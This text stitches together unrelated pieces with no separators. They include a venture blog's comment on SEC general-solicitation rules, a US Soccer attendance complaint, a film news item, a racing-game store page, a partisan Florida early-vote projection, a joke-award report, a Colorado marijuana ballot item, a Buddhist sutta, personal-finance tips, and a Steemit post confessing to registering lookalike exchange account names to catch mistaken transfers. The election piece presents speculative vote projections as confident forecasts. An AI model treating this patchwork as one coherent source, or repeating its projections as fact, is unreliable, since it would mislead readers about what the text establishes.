2) The requirement to formally file all written materials provided to investors with the SEC is very burdensome when entrepreneurs update their slides and other fundraising material from meeting to meeting.
3) The penalty for violating any of these rules is a one year prohibition from being able to raise capital under Rule 506. Given that startups need to raise capital frequently and they need to avail themselves of this form of securities offerings, this effectively means that a startup that violates any of these rules is likely to be put out of business. This is way too harsh and means the risk/reward analysis around using General Solicitation is skewed too much toward risk. Which means nobody will use it.
USV is an interested party to this rulemaking process in a number of ways. First, we invest in startups. The more startups there are, the better for us. So anything that creates more financing for startups is good for us. And anything that makes it harder for startups to raise capital is bad for us. Further, we are investors in CircleUp, a fundraising platform for startups that would benefit greatly from opening up General Solicitation.
I have been investing in startups since the mid 80s. I have participated directly or indirectly in the financing of hundreds of startups, possibly more than a thousand when all of my activities are aggregated. If I am an expert in anything, I am an expert in the financing of startups. And in that capacity, I can tell you that the proposed additional rulemaking around General Solicitation is a non-starter in startup land. If these rules come down as drafted, we will keep doing things the way we have been doing them for years and possibly the single most important change from the JOBS Act will have been for naught. And that would be very dissapointing to me and many others in startup land.
Here are some other links worth reading on this topic:
Angel.co's public comment
Startup Law blog
William Carleton's blog
Hello, Seattle Mayor Mike McGinn...this is Sunil Gulati, President of the United States Soccer Federation. Hey, just wanted to thank you for hosting our men's national soccer team. Your staff and city workers all contributed to a great night in the history of American soccer. Thanks again, and oh by the way, please cut US Soccer a check for $1 million to compensate us for the lost revenue induced by the ticket cap imposed upon us on account of the Mariners.
Despite playing with a starting lineup that had never jointly started a match as one unit, and despite complaints directed at the quality of the temporary grass surface placed on top of the turf at CenturyLink Field, there was much to celebrate on Tuesday night:
- The Americans arguably played their best match thus far in CONCACAF's 10-match hexagonal, a group which they now lead halfway through the Hex on the strength of their 2-0 win over Panama coupled with Mexico's 0-0 draw at home versus Costa Rica;
- American forward Jozy Altidore scored in his third straight match while Seattle Sounders star Eddie Johnson scored the game's second goal, sending his adoring hometown fans into an added fervor;
- American midfielder Geoff Cameron more than admirably filled in for the concussed Jermaine Jones, giving coach Jurgen Klinsmann a valiant effort and assisting beautifully on Johnson's tally;
- And with an announced attendance of 40,847, it was the 7th largest home World Cup qualifying attendance for the U.S., and 2nd largest crowd specifically in the Pacific Northwest behind a friendly against Russia at the old Seattle Kingdom in January 1994.
All of that said, I would be steaming today if I worked for US Soccer...and demanding remuneration from the opportunity cost imparted upon me by the city of Seattle.
As I said, the attendance for Tuesday's match was 40,847.
Note that on Saturday, however, the attendance for the Seattle Sounders v Vancouver Whitecaps MLS regular season match was 53,679! Surely the attendance for a game as rare as a USA WCQ in a soccer-loving city like Seattle should draw more fans than a regular season MLS game, right? What gives? Saturday sporting events typically draw better, but not by this amount given that Tuesday's match had greater consequences and was a first-of-its-kind match in nearly 40 years in Seattle.
The Seattle Mariners had a home regular season night game versus the Houston Astros, and as such out of concern for logistical issues surrounding concerns over parking, street traffic, and sidewalk congestion if both events were to sellout their respective capacities, US Soccer was only allowed to sell 42,000 tickets for their match against Panama.
Let's ponder that thought for just a moment.
US Soccer was essentially barred from selling more tickets for Tuesday's match out of concern of the added congestion that could possibly be caused by the Mariners game against the Astros.
Uh, ya.
The announced attendance was 10,266, but sources at the game estimated that the actual turnstile attendance was likely closer to half that number.
The Seahawks of the NFL averaged an over-capacity crowd of 67,946 in 2012. Adding the US-Panama crowd plus half the announced Mariners-Astros crowd is less than 50,000 people.
Hence, the city of Seattle's congestion concerns (which were grossly unfounded had common sense been applied) imposed a considerable opportunity cost of lost revenues upon US Soccer.
How much?
- Let's assume (in light of the 53K+ tickets sold for the Sounders match on Saturday) that US Soccer could have sold at least 20,000 more tickets (approximately 61,000 total) to Tuesday night's match.
- Conservatively, after factoring in ticket prices paid and merchandise acquired in-stadium (and believe me, it was flying off the shelves), let's assume US Soccer averaged $75 in revenue per person.
Result...$1.5 million. In other words, the $1 million I mentioned at the top is likely a highly conservative estimate when all is said and done.
Sometimes you make concessions to get something done that needs to get done. Seattle has proven itself a great soccer community, and CenturyLink provides theatrical backdrop. The city truly deserved to host a WCQ, and atmospherically did not disappoint.
And on a night where one had to feel pretty positive as a US Soccer enthusiast with the team and the experience in general, it was unfortunate that greater common sense wasn't exercised by Seattle's city officials.
As a result, not only did US Soccer fail to maximize the financial potential of its trip to the Pacific Northwest, but restaurant and shop owners lost a little bit of business as well from match-goers who otherwise might have frequented their establishments before or after the match had they been given the chance to join the rest of us on what was otherwise a glorious and successful soccer event in Seattle.
Here is a picture of Chandrasekhar, who directed the original and the sequel, standing alongside actor Steve Lemme, who returns in the role of MacIntyre "Mac" Womack:
Last day of pickups on ST2. Release date coming very fucking soon. pic.twitter.com/5FJ4Ef4lnj — Jay Chandrasekhar (@jaychandrasekha) February 9, 2017
Super Troopers 2 was partially funded on Indiegogo, where it raised more than $4.5 million back in 2015. The first film had a budget of $3 million and ended up bringing in more than $23 million, according to Box Office Mojo. We can only imagine what hijinks might be in store for the sequel with its expanded budget.
Eric Stolhanske, who plays Robert "Rabbit" Roto shared his own picture on Twitter as well to celebrate the last day of shooting. You can see that image at the bottom of this post.
The main cast from the original is returning for the sequel. Actor Rob Lowe (West Wing, Parks and Recreation) is among the new cast members.
FlatOut 4: Total Insanity™, where reckless driving has never been this much fun.
FlatOut 4: Total Insanity™ blends everything everyone has ever loved about FlatOut into one offering. Gamers will also be introduced to all new and exciting features, game modes, and vehicles which will soon become personal favorites. Another installment of nitro fueled demolition and derby racing featuring a variety of tracks, modes, arenas and multi-player options are available. Welcome back to FlatOut!
Exclusive to STEAM version of FlatOut 4: Total Insanity™
• Big Picture Mode
• Steam Achievements
• Partial Steam Controller Support
• Steam Leader Boards
• Steam Cloud
• Steam Trading Cards
• Exclusive Arena: Ice Lake Arena
• 2 Exclusive Drivers: Gadget Stewart and Dave Worker
• 2 Exclusive Vehicles: Ice breaker and Repair truck
• Steam Workshop coming 30 days post launch
FlatOut 4: Total Insanity™ Features
• High Speed racing and collisions on a variety of tracks and environments
• Customizable Cars: Gamers will unlock 27 cars to customize and race, including tributes to fan favorites and new additions to the garage
• Gamepad Controller Support
• Dynamic Tracks: FlatOut 4: Total Insanity™ features 20 tracks including traditional derby racing, time trials, arenas, assault levels, carnage levels and much more
• Destructible Environments: Chaos and destruction return to the world of racing with high speed collisions and wild destructible environments
• The Legendary Stunt Mode: Featuring 12 stunts in total. Six new stunts and six re-imagined classic stunt mini-games await fans in search of epic crashes and death-defying maneuvers
• Arena Mode: Three game play styles including Death Match, Capture the Flag and Survivor
• New Assault Mode: An arsenal of deadly weapons at your disposal to slow or destroy opponents
• Single Player: Race, Destroy and enjoy Stuntman mode offline before showing off your skills in multi-player
• Multiplayer Mayhem: Competitive online modes allow up to eight players to master destruction arenas, race courses and set traps
• Hot Seat Mode: Take turns with your family and friends in hot seat competition of Stunts
• Thumping Indie Soundtrack: FlatOut features a global range of over 35 amazing indie music tracks
• Male and Female Drivers: 12 Drivers: 6 males and 6 females:
• Classic
• Military
• Prisoner
• Punk
• Clown
• Hippie
• + 2 Exclusives: Gadget Stewart and Dave Worker
• Uses the power of next gen devices with high end 3-D rendering
Gateway Pundit reports:
“Nearly 1,000 supporters were shut out of the Pence rally in Cocoa, Florida Monday. Stunned organizers had made no plans for the over 800 people who could not get in the filled-to-capacity Space Coast Convention Center. (read more)
During stops in Cocoa Beach almost 1,000 couldn’t get inside to see Governor Mike Pence. And in a stop in Maitland Florida the overflow crowd was bigger than Hillary Clinton’s primary crowd:
(Pictured above are the overflow crowds)
These massive crowds are symbolic and representative of the early vote and ballot data coming from the Sunshine State as compiled and shared by FLEPOREBLOG:
Florida Early Vote Data
Trump – 48.3%
Clinton – 43.6%
Margin (+4.7 Points for Trump)
FLEPOREBLOG Updated: 10/31 Latest Florida Early Mail Voting as well as Early Voting (which started on 10/24) 64,124 (-1,311 from 10/30) more registered Republicans have returned an Early Mail-in-Ballot as of 10/30 (+3.3% Lead same from 3.3% on 10/30 {0.0%})
Voted-by-Mail (Returned)
♦ Rep: 825,893 (+4,746 from 10/30)
♦ DEM: 761,769 (+6,057 from 10/30)
Other: 49,451 (+299 from 10/30)
No Party Affiliation: 326,176 (+2,709 from 10/30)
Total Returned: 1,963,289 (+13,811 from 10/30)
#Trump(Rep): 42.1% (same from 10/30)
#HRC(Dem): 38.8% (same from 10/230)
Other: 2.5% (same from 10/30)
No Party Affiliation: 16.6% (same from 10/30)
55,206 (+13,217 from 10/30) more registered Democrats have Voted Early as of 10/30 (3.1% Lead up from 2.6% on 10/30 (+0.5%})
Early Voting (Only)
♦ Rep: 684,100 (+54,487 from 10/30)
♦ DEM: 739,306 (+67,704 from 10/30)
Other: 40,657 (+3,270 from 10/30)
No Party Affiliation: 305,056 (+30,644 from 10/30)
Total Voted: 1,769,119 (+156,105 from 10/30)
#Trump(Rep): 38.7% (-0.3% from 10/30)
#HRC(Dem): 41.8% (+0.2% from 10/30)
Other: 2.3% (same from 10/30)
No Party Affiliation: 17.2% (+0.2% from 10/30)
You can track this daily at the following link – SEE HERE – Actual votes from the mail-in-process and early voting won’t be counted until Election Day. One can assume that Republicans are most likely Trump votes while Democrats are HRC votes. When data is shared on early voting historically, that assumption is used.
The good news is that in Axiom’s poll released today (taken 10/30), 72% of Democrats are voting for HRC while 75% of Republicans are voting for Trump (THIS IS VERY CONSERVATIVE). 19% of Republicans are voting for HRC while 21% of Democrats are voting for Trump.
Also, No Party Affiliation (Independents) has been breaking for Trump. In Axiom’s most recent poll on 10/30, Trump has 49% of Independents while HRC only has 36% of Independents. If we take Axiom poll’s data, the likelihood of the tallies above would translate as following in the votes mailed and early voted so far:
Note: For the first time my %s above will not equal 100% because I am taking into account the following factors:
Gary Johnson – R: 3% D: 1% I: 2%
Someone else – R: 2% R: 2% I: 4%
Undecided – R: 1% D: 4% I: 9%
(Link – Axiom Poll as of 10/30)
♦ R – 1,132,495 (R voting for Trump) + 315,226 (D voting for Trump) + 353,457 (I & O voting for Trump) = 1,801,178 Total Votes
♦ D – 1,080,774 (D voting for HRC) + 286,899 (R voting for HRC) + 259,682 (I & O voting for HRC) = 1,627,355
Total Votes for either candidate – 3,428,533
Total Votes for ALL (which I used to derive the %s below) candidates – 3,732,408
Trump = 48.3%
Clinton = 43.6%
This is YUGE because Obama won early voting in FL by 5 points in 2012 and after election night he won the state by less than 1 point. (link) Folks, based on what we have data wise so far, I can now soundly say that we will win FL by 9 to 10 points (54.5 – 46.5) !
Here on Florida's space coast, we're just 8 days away from blasting off to a great victory! @realDonaldTrump will lead America to the stars. pic.twitter.com/whwwCS81Ax — Mike Pence (@mike_pence) October 31, 2016
Thank you to the men and women of our law enforcement community in Florida and across the country! @realDonaldTrump and I stand with you. pic.twitter.com/NdD3TqIbYJ — Mike Pence (@mike_pence) October 31, 2016
Stopping in to see the folks in our overflow crowd in Maitland, FL. These supporters are fired up! Tune in: https://t.co/CHR0tRwjJ5 pic.twitter.com/HRMCYPLA2o — Mike Pence (@mike_pence) October 31, 2016
Our tremendous movement to #MakeAmericaGreatAgain is making waves across the state of Florida! Thank you, Maitland! pic.twitter.com/DAdf4IZ6JV — Mike Pence (@mike_pence) October 31, 2016
A joke by comedian Tim Vine about a vacuum cleaner has been voted the funniest at this year's Edinburgh Fringe Festival.
He won with the one-liner: "I decided to sell my Hoover... well it was just collecting dust."
Vine, 47, saw his joke scoop almost a fifth of the votes in the competition run by comedy television channel, Dave.
It is the first time the award has been presented to a previous winner.
Vine also won in 2010 with the joke: "I've just been on a once-in-a-lifetime holiday. I'll tell you what, never again."
Image copyright Lesley Martin Image caption Tim Vine with his award for the funniest joke of the Fringe
He was runner up in 2011, 2012 and 2013.
On being crowned this year's winner, Vine said: "I'm a little bit surprised but very delighted. This is the second time I've won this award but I guess nobody loves a repeat more than Dave."
In an interview on BBC Radio 4's Today programme, the comedian talked about the process of writing one-liners.
He said: "When I think of what I think is a good joke I do often laugh, because of course it's the first time I've heard it. So I will chuckle.
"But I've been wrong many times and I'll go in front of an audience thinking this is an absolute work of genius and they stare back at me going 'Sorry you want us to laugh at this point, do you?' and I realise that doesn't work at all.
"But it also works the other way and that's the exciting thing about writing comedy - you never quite know until you try it with an audience. Never test it on family and friends."
When asked if he ever stretched his jokes to a paragraph he said: "Only on this show would I be asked that question. It's a beautiful question 'do you ever do paragraphs?'
"I do occasionally, but what happens is I think that bit can go, and I don't really need that bit, and then eventually it's back to a line and a half again."
Some of the finalists for funniest joke of the Fringe Festival 2014
"I've decided to sell my Hoover... well, it was just collecting dust" - Tim Vine. "I've written a joke about a fat badger, but I couldn't fit it into my set" - Masai Graham. "Always leave them wanting more, my uncle used to say to me. Which is why he lost his job in disaster relief" - Mark Watson. "I was given some Sudoku toilet paper. It didn't work. You could only fill it in with number ones and number twos" - Bec Hill. "I wanted to do a show about feminism. But my husband wouldn't let me" - Ria Lina. "Money can't buy you happiness? Well, check this out, I bought myself a Happy Meal" - Paul F Taylor. "Scotland had oil, but it's running out thanks to all that deep frying" - Scott Capurro. "I've been married for 10 years, I haven't made a decision for seven" - Jason Cook. "This show is about perception and perspective. But it depends how you look at it" - Felicity Ward.
Steve North, general manager of Dave, said: "It's great to see a range of established and new comedians in this year's top 10.
"The award celebrates the fantastic range of comedy on offer at the Fringe, and Tim has once again proved he is king of the one-liners."
To find the favourite joke, the judges scoured the festival's venues for a week before nominating their three favourite jokes.
They were then put to the public vote, with 2,000 people choosing those they found funniest.
The Colorado Secretary of State Scott Gessler on Monday certified a ballot initiative for the state’s November general election after Denver-based activists gathered more than 170,000 signatures.
If approved by voters, the Regulate Marijuana Like Alcohol Act would allow for the limited possession and cultivation of cannabis by adults age 21 and over. It would also allow the state and local governments to enact regulations on the commercial production and distribution of marijuana, as well giving local governments the option to prohibit marijuana sales altogether.
“This could be a watershed year in the decades-long struggle to end marijuana prohibition in this country,” said Art Way, Colorado manager of the Drug Policy Alliance. “Marijuana prohibition is counterproductive to the health and public safety of our communities. It fuels a massive, increasingly brutal underground economy, wastes billions of dollars in scarce law enforcement resources, and makes criminals out of millions of otherwise law-abiding citizens.”
Last year, Colorado became the first state in the nation to begin issuing licenses for businesses that sell medical marijuana and marijuana-infused products and also formally asked the Drug Enforcement Agency to reclassify marijuana. Currently, the DEA classifies marijuana as a schedule I drug: the most restrictive classification reserved for dangerous drugs with no real medical value.
Although Colorado has legalized medical marijuana, those who distribute the drug still risk running afoul of federal law. The Obama administration’s Department of Justice has made a practice of not prosecuting medical marijuana patients in states where the drug has been approved, but it still considers distributors to be fair game for arrest.
So the brahmans went to the brahman student Assalayana and said to him, "Master Assalayana, this Gotama the contemplative prescribes purity for the four castes. Come and dispute with him on this statement."
When this was said, the brahman student Assalayana said to the brahmans, "Sirs, Gotama the contemplative is one who speaks Dhamma. And those who speak Dhamma are hard to dispute with. I can't dispute with him on this statement."
A second time... A third time, the brahmans said to the brahman student Assalayana, "Master Assalayana, this Gotama the contemplative prescribes purity for the four castes. Come and dispute with him on this statement, for you have lived the life of a wanderer. Don't be defeated without being defeated in battle."
When this was said, the brahman student Assalayana said to the brahmans, "Apparently, sirs, I don't get leave from you (to avoid the matter by saying), 'Gotama the contemplative is one who speaks Dhamma. And those who speak Dhamma are hard to dispute with. I can't dispute with him on this statement.' But at your bidding I will go."
Then the brahman student Assalayana went with a large group of brahmans to the Blessed One and, on arrival, exchanged courteous greetings with him. After an exchange of friendly greetings & courtesies, he sat to one side. As he was sitting there he said to the Blessed One: "Master Gotama, the brahmans say, 'Brahmans are the superior caste; any other caste is inferior. Only brahmans are the fair caste; any other caste is dark. Only brahmans are pure, not non-brahmans. Only brahmans are the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.' What does Master Gotama have to say with regard to that?"
"But, Assalayana, the brahmans' brahman-women are plainly seen having their periods, becoming pregnant, giving birth, and nursing [their children]. And yet the brahmans, being born through the birth canal, say, 'Brahmans are the superior caste; any other caste is inferior. Only brahmans are the fair caste; any other caste is dark. Only brahmans are pure, not non-brahmans. Only brahmans are the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.'"
"Even though Master Gotama says that, still the brahmans think, 'Brahmans are the superior caste... the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.'"
"What do you think, Assalayana? Have you heard that in Yana & Kamboja and other outlying countries there are only two castes — masters & slaves — and that having been a master one (can) become a slave, and that having been a slave one (can) become a master?"
"Yes, Master Gotama..."
"So what strength is there, Assalayana, what assurance, when the brahmans say, 'Brahmans are the superior caste... the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma'?"
"Even though Master Gotama says that, still the brahmans think, 'Brahmans are the superior caste... the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.'"
"What do you think, Assalayana? Is it only a noble warrior who — taking life, stealing, engaging in sexual misconduct, telling lies, speaking divisively, speaking harshly, engaging in idle chatter, greedy, bearing thoughts of ill will, and holding wrong views — on the break-up of the body, after death, reappears in the plane of deprivation, the bad destination, the lower realms, in hell, and not a brahman? Is it only a merchant...? Is it only a worker who — taking life, stealing, engaging in sexual misconduct, telling lies, speaking divisively, speaking harshly, engaging in idle chatter, greedy, bearing thoughts of ill will, and holding wrong views — on the break-up of the body, after death, reappears in the plane of deprivation, the bad destination, the lower realms, in hell, and not a brahman?"
"No, Master Gotama. Even a noble warrior... Even a brahman... Even a merchant... Even a worker... (Members of) all four castes — if they take life, steal, engage in sexual misconduct, tell lies, speak divisively, speak harshly, engage in idle chatter, are greedy, bear thoughts of ill will, & hold wrong views — on the break-up of the body, after death, reappear in the plane of deprivation, the bad destination, the lower realms, in hell."
"So what strength is there, Assalayana, what assurance, when the brahmans say, 'Brahmans are the superior caste... the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma'?"
"Even though Master Gotama says that, still the brahmans think, 'Brahmans are the superior caste... the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.'"
"What do you think, Assalayana? Is it only a brahman who — refraining from taking life, from stealing, from sexual misconduct, from telling lies, from speaking divisive speech, from harsh speech, & from idle chatter, not greedy, bearing no thoughts of ill-will, & holding to right view — on the break-up of the body, after death, reappears in the good destination, the heavenly world, and not a noble warrior, not a merchant, not a worker?"
"No, Master Gotama. Even a noble warrior... Even a brahman... Even a merchant... Even a worker... (Members of) all four castes — if they refrain from taking life, from stealing, from sexual misconduct, from telling lies, from speaking divisive speech, from harsh speech, & from idle chatter, are not greedy, bear no thoughts of ill-will, & hold to right view — on the break-up of the body, after death, reappear in the good destination, the heavenly world."
"So what strength is there, Assalayana, what assurance, when the brahmans say, 'Brahmans are the superior caste... the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma'?"
"Even though Master Gotama says that, still the brahmans think, 'Brahmans are the superior caste... the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.'"
"What do you think, Assalayana? Is it only a brahman who is capable of developing in any direction a heart of good will — free from animosity, free from ill will — and not a noble warrior, not a merchant, not a worker?"
"No, Master Gotama. Even a noble warrior... Even a brahman... Even a merchant... Even a worker... (Members of) all four castes are capable of developing in any direction a heart of good will — free from animosity, free from ill will."
"So what strength is there, Assalayana, what assurance, when the brahmans say, 'Brahmans are the superior caste... the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma'?"
"Even though Master Gotama says that, still the brahmans think, 'Brahmans are the superior caste... the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.'"
"What do you think, Assalayana? Is it only a brahman who is capable of taking a loofah & bath powder, going to a river, and scrubbing off dust & dirt, and not a noble warrior, not a merchant, not a worker?"
"No, Master Gotama. Even a noble warrior... Even a brahman... Even a merchant... Even a worker... (Members of) all four castes are capable of taking a loofah & bath powder, going to a river, and scrubbing off dust & dirt."
"So what strength is there, Assalayana, what assurance, when the brahmans say, 'Brahmans are the superior caste... Only brahmans are pure, not non-brahmans. Only brahmans are the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma'?"
"Even though Master Gotama says that, still the brahmans think, 'Brahmans are the superior caste... Only brahmans are pure, not non-brahmans. Only brahmans are the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.'"
"What do you think, Assalayana? There is the case where a consecrated noble warrior king might call together one hundred men of different births (and say to them), 'Come, masters. Those of you there born from a noble warrior clan, from a brahman clan, or from a royal clan: taking an upper fire-stick of saala wood, salala wood, sandalwood, or padumaka wood, produce fire & make heat appear. And come, masters. Those of you there born from an outcast clan, a trapper clan, a wicker workers' clan, a cartwrights' clan, or a scavengers' clan: taking an upper fire-stick from a dog's drinking trough, from a pig's trough, from a dustbin, or of castor-oil wood, produce fire & make heat appear.' What do you think, Assalayana? Would the fire made by those born from a noble warrior clan, a brahman clan, or a royal clan — who had produced fire & made heat appear by taking an upper fire-stick of saala wood, salala wood, sandalwood, or padumaka wood — be the only one with flame, color, & radiance, able to do whatever a fire might be needed to do? And would the fire made by those born those born from an outcast clan, a trapper clan, a wicker workers' clan, a cartwrights' clan, or a scavengers' clan — who had produced fire & made heat appear by taking an upper fire-stick from a dog's drinking trough, from a pig's trough, from a dustbin, or of castor-oil wood — be without flame, color, & radiance, unable to do what a fire might be needed to do?"
"No, Master Gotama. The fire made by those born from a noble warrior clan, a brahman clan, or a royal clan... would have flame, color, & radiance, able to do whatever a fire might be needed to do. And the fire made by those born from an outcast clan, a trapper clan, a wicker workers' clan, a cartwrights' clan, or a scavengers' clan... would have flame, color, & radiance, able to do whatever a fire might be needed to do. For all fire has flame, color, & radiance, and is able to do whatever a fire might be needed to do."
"So what strength is there, Assalayana, what assurance, when the brahmans say, 'Brahmans are the superior caste... Only brahmans are pure, not non-brahmans. Only brahmans are the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma'?"
"Even though Master Gotama says that, still the brahmans think, 'Brahmans are the superior caste... Only brahmans are pure, not non-brahmans. Only brahmans are the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.'"
"What do you think, Assalayana? There is the case where a noble warrior youth might cohabit with a brahman maiden, and from their cohabitation a son would be born. Would the son born from the noble warrior youth and brahman maiden be like the father and like the mother? Should it be called a noble warrior & a brahman?"
"Yes, Master Gotama..."
"What do you think, Assalayana? There is the case where a brahman youth might cohabit with a noble warrior maiden, and from their cohabitation a son would be born. Would the son born from the brahman youth and noble warrior maiden be like the father and like the mother? Should it be called a noble warrior & a brahman?"
"Yes, Master Gotama..."
"What do you think, Assalayana? There is the case where a mare might mate with a donkey, and from their mating a foal would be born. Would the foal born from the mare & the donkey be like the father and like the mother? Should it be called a horse & a donkey?"
"Master Gotama, from the mixed breeding it would be a mule. Here I see that it [the mixed breeding] makes a difference, but there [in the other two cases] I don't see that it makes a difference."
"What do you think, Assalayana? There is the case where there might be two brahman-student brothers, born of the same mother: one learned & initiated, the other not learned & uninitiated. Which of the two would the brahmans serve first at a funeral feast, a milk-rice offering, a sacrifice, or a feast for guests?"
"The brahman student who was learned & initiated, Master Gotama... For what great fruit would there be for what is given to one who is not learned & uninitiated?"
"What do you think, Assalayana? There is the case where there might be two brahman-student brothers, born of the same mother: one learned & initiated (but) unvirtuous & of evil character, the other not learned & uninitiated, (but) virtuous & of fine character. Which of the two would the brahmans serve first at a funeral feast, a milk-rice offering, a sacrifice, or a feast for guests?"
"The brahman student who was not learned & uninitiated, (but) virtuous & of fine character, Master Gotama... For what great fruit would there be for what is given to one who is unvirtuous & of evil character?"
"First, Assalayana, you went by birth. Then, having gone by birth, you went by mantras. Then, having gone by mantras, putting them both aside, you have come around to the purity of the four castes that I prescribe."
When this was said, the brahman student Assalayana sat silent, abashed, his shoulders drooping, his head down, brooding, at a loss for words.
Then the Blessed One — seeing that the brahman student Assalayana was sitting silent, abashed, his shoulders drooping, his head down, brooding, at a loss for words — said to him, "Once, Assalayana, this evil viewpoint arose in the seven brahman seers as they were consulting together in leaf huts in the wilderness: 'Brahmans are the superior caste; any other caste is inferior. Only brahmans are the fair caste; any other caste is dark. Only brahmans are pure, not non-brahmans. Only brahmans are the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.' Then the seer Devala the Dark heard, 'This evil viewpoint has arisen in the seven brahman seers as they are consulting together in leaf huts in the wilderness: 'Brahmans are the superior caste; any other caste is inferior... Only brahmans are the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma.' So, arranging his hair & beard, putting on crimson garments, wearing multi-layered sandals, and carrying a staff made of gold, he appeared in the courtyard of the seven brahman seers. Then he walked back & forth in the courtyard of the seven brahman seers saying, "Well, now, where have these masters, the brahman seers, gone? Well, now, where have these masters, the brahman seers, gone?"
"Then the seven brahman seers said to the seer Devala the Dark, 'Now who is this, walking back & forth in the courtyard of the seven brahman seers like a village lout, saying, "Well, now, where have these masters, the brahman seers, gone? Well, now, where have these masters, the brahman seers, gone?" Let's curse him!' So the seven brahman seers cursed the seer Devala the Dark: "Be ashes, dribble-spit![1] Be ashes, dribble-spit! Be ashes, dribble-spit!"' But the more they cursed him, the more beautiful, good-looking, & inspiring he became. Then the thought occurred to the seven brahman seers, 'Our asceticism is in vain! Our holy-life is fruitless! For before, whenever we cursed anyone, "Be ashes, dribble-spit!" he would always become ashes. But the more we curse this one, the more beautiful, good-looking, & inspiring he becomes!'
"'Masters, your asceticism is not in vain, and your holy-life not fruitless. Please, masters, abandon your hatred toward me.'
"'We abandon our hatred toward you, master. Who are you?'
"'Have you heard of the seer Devala the Dark?'
"'Yes, master.'
"'I am he.'
"Then the seven brahman seers approached him to bow down to him, and he said to them, 'I have heard that this evil viewpoint has arisen in the seven brahman seers as they are consulting together in leaf huts in the wilderness: "Brahmans are the superior caste; any other caste is inferior... Only brahmans are the sons & offspring of Brahma: born of his mouth, born of Brahma, created by Brahma, heirs of Brahma."'
"That is so, master.'
"'But do you know, masters, if the mother who bore you went only with a brahman, and not with a non-brahman?'
"'No, master.'
"'And do you know if the mothers of the mother who bore you — back seven generations of mothers — went only with brahmans, and not with non-brahmans?'
"'No, master.'
"'And do you know if the father who sired you went only with a brahman woman, and not with a non-brahman woman?'
"'No, master.'
"'And do you know if the fathers of the father who bore you — back seven generations of fathers — went only with brahman women, and not with non-brahman women?'
"'No, master.'
"'Do you know how there is the descent of an embryo?'
"'Yes, master, we know how there is the descent of an embryo. There is the case where the mother & father have come together, the mother is fertile, and a gandhabba [the being about to be reborn] is standing present. The coming together of these three is the descent of the embryo.'
"'But do you know for sure whether the gandhabba is a noble warrior, a brahman, a merchant, or a worker?'
"'No, master.'
"'That being the case, do you know who you are?'
"'That being the case, master, we don't know who we are.'
"Now, Assalayana, when those seven brahman seers couldn't defend their own birth-statement when interrogated, pressed, & rebuked by the seer Devala the Dark, how can you now defend your own birth-statement when interrogated, pressed, & rebuked by me — you, their lineage holder, but not (the equal of) Punna, their ladle holder?"
Now that a new year is underway, it’s time to reflect on what can make it great. While you want to set reasonable goals that are likely to stick, don’t forget to concentrate on what’s holding you back.
In some cases, improving your financial situation is less about trying to create resolutions you’ll actually keep — and more about getting rid of the excuses holding you back.
Before you try to set high-minded financial goals, you’ll need to figure out which excuses you’re using, and banish them from your vocabulary. Only then will you have the freedom to really improve your financial situation.
To get you started, here are three common excuses that everyone needs to stop using:
1. “Investing is too complicated.”
One of the financial excuses I hear most often revolves around why my acquaintances aren’t investing. “It’s too complicated” and “I don’t feel comfortable picking stocks” are the worst offenders. Basic investing, however, is one of the most effective ways to grow wealth over time.
The reality, too, is that it’s not complicated — especially if you avoid stock picking. You can open a brokerage account with as little as $25 and invest in index funds or index ETFs. An all-market fund lets you take advantage of overall market performance over time, without the guesswork.
While it makes sense to educate yourself and learn more about investing, this is a great stopgap to get started. As you feel more comfortable, you can change the way you invest.
2. “I don’t have enough money to start saving/investing.”
At one time, I used this excuse myself. But as mentioned above, you can start investing with as little as $25. If you can free up $25 or $50 a month, that’s a start. And it’s much better than nothing. The same is true of saving, whether it’s for a vacation or an emergency fund.
The important thing is to start developing the habit. Find a way to save $10 a week, and put it in a savings or investing account. You might be surprised at where you find the money and how easy it is once you get started. You’ll begin to look for ways to boost your contributions, and as you earn more money, you can increase the amount you save and invest.
3. “I’ll never get anywhere with my job; I can’t make more money.”
It’s true that working harder doesn’t always lead to more money or a promotion. Having a dead-end job can be demoralizing, especially if you’re like many Americans and haven’t had a raise in a long while. However, by telling yourself that you’re stuck in your job and can’t make more money, you’re guaranteeing that is the case. Stop making this excuse and look for ways to get out of the rut.
You could start a side hustle, or think of other ways to boost your income. Are there particular skills or certifications that could lead to a pay raise? Would acquiring more knowledge or expertise make you marketable enough to find a new, better job?
Don’t resign yourself to your current fate. Take matters into your hands and destroy these excuses in the new year.
What excuses do you hear (or make) a lot?
Editor's Note: I've begun tracking my assets through Personal Capital. I'm only using the free service so far and I no longer have to log into all the different accounts just to pull the numbers. And with a single screen showing all my assets, it's much easier to figure out when I need to rebalance or where I stand on the path to financial independence.
I had a plan to trick you into sending me your steem. I thought I was clever but I haven't been able to sleep all night. I feel guilty (as I should) and I haven't done anything wrong, technically.
@dantheman @help I would like you to block these two accounts: @bocktrades & @bittrix
The thinking was that there are sure to be panicked steem holders (some at least) that want to lock in some profits this weekend. Since this is new to everyone, there are bound to be mistakes. In order to capitalize on that I made the above accounts, just in case a newly minted steem millionaire freaked out and missed an L.
Other usernames that should probably be blocked: blocktrade, bitrex, etc.
I am ashamed of my opportunism. Whatever steemit will become, I'd rather add a positive contribution.
I would hate for someone's prescience and hard work to go to waste but it would be hard to return 10,000 steem to someone who mistakenly sent it to one of these addresses. So, be warned and, admins or whoever, please address this.
